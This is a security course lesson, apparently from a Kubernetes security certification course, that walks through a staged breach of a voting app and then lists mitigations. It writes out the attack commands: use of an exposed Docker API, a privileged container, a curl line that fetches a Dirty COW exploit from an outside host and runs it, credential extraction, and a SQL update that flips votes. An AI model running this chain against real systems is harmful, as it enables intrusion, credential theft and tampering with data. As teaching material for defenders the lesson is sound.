> ## Documentation Index
> Fetch the complete documentation index at: https://notes.kodekloud.com/llms.txt
> Use this file to discover all available pages before exploring further.

# The Attack

> This article demonstrates a breach scenario in Kubernetes and Docker, highlighting vulnerabilities and preventive measures.

In this demo, we’ll walk through a real-world breach scenario targeting Kubernetes and Docker. You’ll see how an exposed Docker daemon, container escape, and an unsecured Kubernetes dashboard led to a full compromise. In subsequent lessons, we’ll dissect each step and discuss preventive controls.

**Table of Contents**

1. [High-Level Overview](#high-level-overview)
2. [Step 1: DNS Resolution & Discovery](#step-1-dns-resolution--discovery)
3. [Step 2: Port Scanning & Docker Daemon Exposure](#step-2-port-scanning--docker-daemon-exposure)
4. [Step 3: Remote Docker API Enumeration](#step-3-remote-docker-api-enumeration)
5. [Step 4: Container Escape via Dirty COW](#step-4-container-escape-via-dirty-cow)
6. [Step 5: Kubernetes Cluster Enumeration](#step-5-kubernetes-cluster-enumeration)
7. [Step 6: Extracting Database Credentials](#step-6-extracting-database-credentials)
8. [Step 7: Tampering with Votes](#step-7-tampering-with-votes)
9. [Attack Summary & Mitigations](#attack-summary--mitigations)
10. [References](#references)

***

## High-Level Overview

It’s the final day of the election between cats and dogs. Voters submit ballots at **[www.vote.com](http://www.vote.com)**, and live results appear at **[www.result.com](http://www.result.com)**. Currently, dogs lead 71% to 29%:

![The image shows a poll result with 29% for cats and 71% for dogs. The background is split into blue and teal sections.](https://kodekloud.com/kk-media/image/upload/v1752880867/notes-assets/images/Kubernetes-and-Cloud-Native-Security-Associate-KCSA-The-Attack/poll-results-cats-dogs-chart.jpg)

A disgruntled user (“cat girl”) only knows these domains—nothing about the underlying stack. She embarks on a black-box attack, discovering:

* Shared hosting (same IP for both domains)
* An exposed Docker daemon on port 2375
* A container escape via Dirty COW
* An unsecured Kubernetes Dashboard on port 30080
* Database credentials in plain environment variables
* A direct path to flip votes via a SQL update

***

## Step 1: DNS Resolution & Discovery

First, she resolves both domains:

```bash theme={null}
ping www.vote.com
ping www.result.com
```

Both ping to `104.21.63.124`, indicating a shared host.

***

## Step 2: Port Scanning & Docker Daemon Exposure

A quick port scan reveals an open Docker API port:

```bash theme={null}
zsh port-scan.sh 104.21.63.124
```

| Port | Service | Status | Notes |
| - | - | - | - |
| 21 | FTP | Closed | |
| 22 | SSH | Closed | |
| 2375 | Docker Daemon | Open | Unprotected Docker Remote API |
| 3306 | MySQL | Closed | |
| 30080 | N/A | Closed | (discovered later via iptables NAT) |

An exposed Docker daemon on port `2375` allows unauthenticated remote commands. Always secure Docker API with TLS and authentication.

***

## Step 3: Remote Docker API Enumeration

With the API open, she lists containers and checks the Docker Engine version:

```bash theme={null}
docker -H tcp://104.21.63.124:2375 ps
```

```bash theme={null}
docker -H tcp://104.21.63.124:2375 version
```

Output snippets:

* **Containers**: Multiple `k8s_*` entries, indicating Kubernetes workloads
* **Server Version**: Docker Engine 19.03.6, API v1.40

These findings confirm both Docker and Kubernetes are in use.

***

## Step 4: Container Escape via Dirty COW

She launches a privileged Ubuntu container and exploits [Dirty COW](https://en.wikipedia.org/wiki/Dirty_COW):

```bash theme={null}
docker -H tcp://104.21.63.124:2375 run --privileged -it ubuntu bash
apt-get update && apt-get install -y curl
curl http://catgirl.me/dirty-cow.sh > dirty-cow.sh
chmod +x dirty-cow.sh
./dirty-cow.sh
```

The exploit grants root access on the host.

Dirty COW is a Linux kernel privilege escalation vulnerability (CVE-2016-5195). Always keep kernels patched and restrict `--privileged` container usage.

***

## Step 5: Kubernetes Cluster Enumeration

On the host, she inspects mounts and kernel info:

```bash theme={null}
df -h
uname -a
```

The `k8s_` prefixes reveal a Kubernetes cluster. By examining `iptables` NAT rules, she discovers port `30080` forwarding to the Kubernetes Dashboard.

Visiting `http://104.21.63.124:30080` shows an unsecured dashboard:

![The image shows a Kubernetes dashboard displaying information about two nodes, "worker" and "master," including their labels, readiness status, CPU and memory usage, and creation date.](https://kodekloud.com/kk-media/image/upload/v1752880869/notes-assets/images/Kubernetes-and-Cloud-Native-Security-Associate-KCSA-The-Attack/kubernetes-dashboard-nodes-info.jpg)

Under **Deployments**, all services—`db`, `redis`, `vote`, `result`, `worker`—are visible:

![The image shows a Kubernetes dashboard with a list of deployments, including "db," "redis," "result," "vote," and "worker." On the right, there is a diagram with Docker and Kubernetes logos, and URLs for "www.vote.com" and "www.result.com."](https://kodekloud.com/kk-media/image/upload/v1752880870/notes-assets/images/Kubernetes-and-Cloud-Native-Security-Associate-KCSA-The-Attack/kubernetes-dashboard-deployments-diagram.jpg)

An unauthenticated Kubernetes Dashboard exposes cluster control. Always enforce RBAC, authentication, and network policies.

***

## Step 6: Extracting Database Credentials

In the **DB** deployment’s environment variables, she finds Postgres credentials. She then executes into the DB container:

```bash theme={null}
docker exec -it c0cd577317f2 bash
export PGPASSWORD=$POSTGRES_PASSWORD
psql --username=$POSTGRES_USER --dbname=$POSTGRES_DB
```

A quick check of running pods in the dashboard confirms all services are live:

![The image shows a Kubernetes dashboard displaying a list of running pods with details such as name, namespace, labels, node, status, restarts, and creation time.](https://kodekloud.com/kk-media/image/upload/v1752880871/notes-assets/images/Kubernetes-and-Cloud-Native-Security-Associate-KCSA-The-Attack/kubernetes-dashboard-running-pods.jpg)

***

## Step 7: Tampering with Votes

With DB access, she flips all dog votes to cats:

```sql theme={null}
UPDATE votes
SET candidate = 'cats'
WHERE candidate = 'dogs';
```

The election results are now reversed.

***

## Attack Summary & Mitigations

| Phase | Technique | Mitigation |
| - | - | - |
| DNS & IP Discovery | Ping resolution | Monitor DNS queries, restrict exposed services |
| Port Scanning | zsh port-scan.sh | Harden firewall, limit exposed ports |
| Docker API Exposure | Unprotected port 2375 | Enable TLS auth, bind to localhost or use socket only |
| Container Escape | Dirty COW (CVE-2016-5195) | Patch kernel, disallow `--privileged`, use seccomp |
| Kubernetes Dashboard Access | Unauthenticated dashboard | Enforce RBAC, enable auth, restrict network access |
| Credential Extraction | Env vars in pods | Use Secrets, encrypt at rest, audit pod specs |
| Data Tampering | Direct SQL update | Implement DB auditing, use least-privilege accounts |

***

## References

* [Kubernetes Documentation](https://kubernetes.io/docs/)
* [Docker Remote API](https://docs.docker.com/engine/api/)
* [Dirty COW Vulnerability (CVE-2016-5195)](https://en.wikipedia.org/wiki/Dirty_COW)
* [Kubernetes Dashboard Security](https://kubernetes.io/docs/tasks/access-application-cluster/web-ui-dashboard/)
* [PostgreSQL Documentation](https://www.postgresql.org/docs/)

> **[Watch Video](https://learn.kodekloud.com/user/courses/kubernetes-and-cloud-native-security-associate-kcsa/module/a0ddd095-0114-4aa4-b3a5-2b31e773f241/lesson/318a7443-f76c-4991-a20d-431ae21b2ef3)**


This documentation is built and hosted on [Mintlify](https://mintlify.com), a developer documentation platform.